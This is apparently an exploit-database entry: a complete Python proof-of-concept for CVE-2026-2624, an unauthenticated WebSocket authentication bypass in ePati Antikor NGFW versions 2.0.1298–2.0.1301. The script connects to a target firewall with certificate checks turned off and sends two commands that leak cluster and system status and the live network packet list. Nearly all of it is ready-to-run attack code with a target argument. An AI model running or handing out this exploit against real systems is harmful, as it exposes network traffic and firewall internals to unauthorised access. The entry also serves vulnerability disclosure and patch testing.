ePati Antikor NGFW 2.0.1301 Authentication Bypass

# Exploit Title: ePati Antikor NGFW 2.0.1301 - Authentication Bypass # Date: 2026-04-13 # Exploit Author: [SADIK ERTÜRK] # Vendor Homepage: https://www.epati.com.tr/ # Software Link: https://www.epati.com.tr/antikor-ngfw/ # Version: v.2.0.1298 - v.2.0.1301 # Tested on: Linux / Antikor OS # CVE: CVE-2026-2624 import websocket import json import ssl import sys import argparse import random import string import time def banner(): print("-" * 65) print(" ePati Antikor NGFW Unauthenticated WebSocket Exploit") print(" CVE-2026-2624 | Author: [SADIK ERTÜRK]") print("-" * 65) def generate_random_id(length=8): """Generates a random session ID for the SockJS connection.""" return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def exploit(target_ip, target_port): # Generating random server and session IDs for SockJS server_id = random.randint(100, 999) session_id = generate_random_id() ws_url = f"wss://{target_ip}:{target_port}/sock/{server_id}/{session_id}/websocket" print(f"[*] Target WebSocket URL created: {ws_url}") print("[*] Connecting to the target... (Ignoring SSL certificate warnings)") try: # Bypassing Self-Signed SSL certificate verifications ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE}) ws.connect(ws_url) print("[+] Connection Successful! (Authentication bypassed)\n") # Payload 1: Listening to Cluster and System Status payload_1 = json.dumps(["{\"istekId\":\"req_init_01\",\"komut\":\"rapor-dinle\",\"parametreler\":[\"cluster-durum\"]}"]) print("[*] Sending 1st payload: 'rapor-dinle' (cluster-status)...") ws.send(payload_1) # Wait for the response from the server time.sleep(1) response_1 = ws.recv() if response_1: print("[+] SUCCESSFUL! Sensitive system data successfully leaked:") print(f"> {response_1}\n") # Payload 2: Listening to Network Packets payload_2 = json.dumps(["{\"istekId\":\"req_101\",\"komut\":\"paket-liste-dinle\",\"parametreler\":[]}"]) print("[*] Sending 2nd payload: 'paket-liste-dinle' (network-packet-list)...") ws.send(payload_2) time.sleep(1) response_2 = ws.recv() if response_2: print("[+] Network packet data captured:") print(f"> {response_2}\n") print("[*] Exploitation complete. Closing connection.") ws.close() except websocket.WebSocketException as e: print(f"[-] WebSocket Error: {e}") print("[-] The target might be patched (v.2.0.1302+) or the port is closed.") sys.exit(1) except Exception as e: print(f"[-] An unexpected error occurred: {e}") sys.exit(1) if __name__ == "__main__": banner() # Argument parsing parser = argparse.ArgumentParser(description="ePati Antikor NGFW WebSocket Auth Bypass PoC") parser.add_argument("-t", "--target", required=True, help="Target IP or Hostname (e.g., 192.168.1.10)") parser.add_argument("-p", "--port", default="8800", help="Target Port (Default: 8800)") args = parser.parse_args() exploit(args.target, args.port)